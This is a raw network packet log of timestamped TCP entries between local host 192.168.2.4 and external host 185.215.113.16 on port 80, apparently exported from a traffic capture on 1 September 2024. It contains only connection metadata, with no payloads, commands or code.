Sep 1, 2024 05:09:14.295831919 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295901060 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295975924 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295984983 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296015978 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.296044111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296052933 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296061993 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296082973 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.296107054 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.296112061 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296120882 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296129942 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296159983 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.296166897 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296171904 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.296248913 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296257973 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296267033 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296274900 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296283960 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.296299934 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.296329021 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297501087 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297518969 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297525883 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297543049 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297569036 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297576904 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297586918 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297627926 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297658920 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297668934 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297678947 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297687054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297707081 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297722101 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297729015 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297775030 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297790051 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297800064 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297817945 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297831059 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297856092 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297868967 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297879934 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297888994 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297897100 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297923088 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297944069 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.297959089 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297969103 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.297976017 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298005104 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298016071 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298034906 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298044920 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298054934 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298080921 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298106909 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298113108 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298121929 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298162937 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298183918 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298193932 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298223019 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298247099 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298269033 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298276901 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298286915 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298295975 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298309088 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298314095 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298331022 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.298341036 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298360109 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.298383951 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.321547031 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321563005 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321569920 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321619987 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.321737051 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321747065 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321759939 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321770906 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321778059 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.321779966 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321788073 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321795940 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321804047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.321810007 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.321845055 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353439093 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353447914 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353456020 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353502035 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353533030 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353566885 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353575945 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353585005 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353593111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353600979 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353615046 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353642941 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353646040 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353682995 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353688002 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353696108 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353725910 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353748083 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353758097 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353766918 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353781939 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353785038 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353790998 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.353809118 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353837013 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.353857040 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354346037 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354363918 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354372025 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354389906 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354401112 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354424000 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354434013 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354441881 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354459047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354460955 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354475021 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354475975 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354507923 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354794025 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354835987 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354845047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354852915 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354881048 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354892015 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354902029 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354902983 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354912043 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354935884 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.354953051 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.354962111 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.355026960 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.355070114 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385236979 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385248899 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385260105 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385304928 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385327101 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385339975 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385355949 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385366917 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385377884 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385392904 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385431051 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385441065 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385457039 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385468006 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385478973 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385495901 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385512114 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385560989 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385572910 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385584116 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385626078 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385636091 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385646105 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385657072 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385667086 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385679960 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385699987 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385724068 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385735035 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385745049 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385756016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385767937 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.385776997 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385783911 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.385801077 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386392117 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386410952 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386421919 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386440992 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386460066 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386472940 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386476040 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386499882 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386523962 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386540890 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386557102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386575937 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386584997 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386594057 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386596918 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386619091 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386626959 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386636972 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386651039 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386676073 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386709929 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386720896 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386746883 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386763096 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386773109 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386778116 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386806965 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386810064 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386816978 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386852980 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386871099 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386881113 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386909962 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386935949 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.386938095 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386949062 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386959076 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.386981010 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.387011051 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.387042999 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387053967 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387063026 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387074947 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387093067 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.387115002 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387120962 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.387128115 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387166023 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.387192965 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387203932 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387212992 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.387238026 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.387253046 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388499975 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388536930 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388545036 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388546944 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388578892 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388591051 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388611078 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388628006 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388638020 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388648987 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388664961 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388693094 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388710976 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388721943 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388753891 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388806105 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388814926 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388825893 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388837099 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388848066 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388861895 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388869047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388880014 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388890982 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388904095 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388917923 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.388941050 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388952017 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.388987064 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389007092 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389017105 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389025927 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389049053 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389061928 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389079094 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389089108 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389106035 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389117002 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389128923 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389157057 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389184952 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389195919 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389205933 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389216900 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389229059 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389230013 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389252901 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389264107 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389302969 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389313936 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.389338970 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.389354944 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.412520885 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.412530899 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.412543058 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.412587881 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.412769079 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.412780046 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.412790060 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.412800074 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.412817955 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.412833929 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.444506884 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444681883 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444690943 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444700956 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444710016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444720030 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444729090 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444730997 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.444739103 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444767952 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.444781065 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.444796085 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444804907 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444813013 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444822073 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444833040 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444839001 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.444843054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444869041 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.444886923 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.444905996 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.444986105 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445389032 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445406914 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445416927 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445446968 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445477962 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445503950 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445513964 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445523977 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445554018 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445570946 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445637941 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445763111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445771933 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445775032 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445785999 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445795059 CEST	80	49743	185.215.113.16	192.168.2.4
